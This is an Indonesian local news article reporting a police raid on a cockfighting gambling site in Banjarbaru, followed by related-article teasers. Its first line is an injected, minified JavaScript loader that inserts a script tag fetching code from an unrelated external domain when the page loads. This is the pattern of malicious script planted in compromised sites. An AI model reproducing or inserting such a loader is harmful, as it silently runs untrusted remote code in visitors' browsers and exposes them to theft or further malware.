(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tim Gabungan Polres Banjarbaru berhasil menguak aktivitas perjudian sabung ayam di daerah Jalan Transad Blok D RT 010/004, Kelurahan Palam, Kecamatan Cempaka, Banjarbaru, Sabtu 30/11) sekitar pukul 17.00 Wita.
Pengungkapan kasus ini, bermula saat pihak kepolisian menerima adanya aduan dari masyarakat melalui aplikasi Siharat. Informasi tersebut kemudia direspon oleh tim gabungan dengan mendatangi lokasi yang dimaksud.
Setibanya di lokasi, petugas menemukan banyaknya sepeda motor dan mobil yang terparkir disalah satu lahan kosong. Tak ayal, petugas pun langsung melakukan penggrebekkan.
Namun, Kapolsek Banjarbaru Timur AKP Debi Triana M, mengatakan kedatangan petugas ternyata sudah diketahui oleh para pemain judi sabung ayam.
“Karena akses mereka bermain judi strategis, melalui jalan setapak menuju hutan. Jadi, mereka bisa mengetahui apabila ada yang datang. Sehingga para pemain sabung ayam berhasil melarikan diri,” katanya.
Meskipun para penjudi ini melarikan diri, tim gabungan tetap mengamankan barang bukti yang ada di lokasi kejadian, seperti 37 unit motor , 3 unit mobil, 5 ekor ayam, 3 buah jam dinding sebagai sarana timer dan 3 buah karpet.
Selain itu petugas juga mengamankan salah seorang yang berada di lokasi yakni Ramin (60) warga Kelurahan Guntung Manggis, Banjarbaru. Saat ini, yang bersangkutan masih dimintai keterangan oleh Penyidik di Polsek Banjarbaru Timur.
Menurut informasi masyarakat sekitar, kata Kapolsek, kegiatan perjudian ini cukup terselubung selama kurang lebih 2 bulan. Dimana setiap hari Sabtu dan Minggu banyak orang dari luar daerah yang datang sehingga sudah sangat meresahkan sekali.
“Alhamdulillah ada warga yang melaporkannya melalui Aplikasi SIHARAT Polres Banjarbaru,” pungkas AKP Deby.
Disisi lain, Kapolres Banjarbaru AKBP Doni Hadi Santoso, melalui Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati, mengatakan pihaknya akan menunggu para pemilik roda 2 dan roda 4 untuk datang konfirmasi ke Polres Banjarbaru dengan membawa surat menyuratnya dan akan kami lakukan pemeriksaan terlebih dahulu.
“Selain itu kami juga mengucapkan Terimakasih kepada masyarakat yang sudah melaporkan kegiatan yang sangat meresahakan warga sekitar dan menghimbau apabila ada mengetahui aktivitas yang mencurigakan ataupun diduga tindak pidana bisa melaporkan kepada kami melalui aplikasi SIHARAT yang akan kami tindak lanjutiâ€Â, tutupnya. (Rico)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.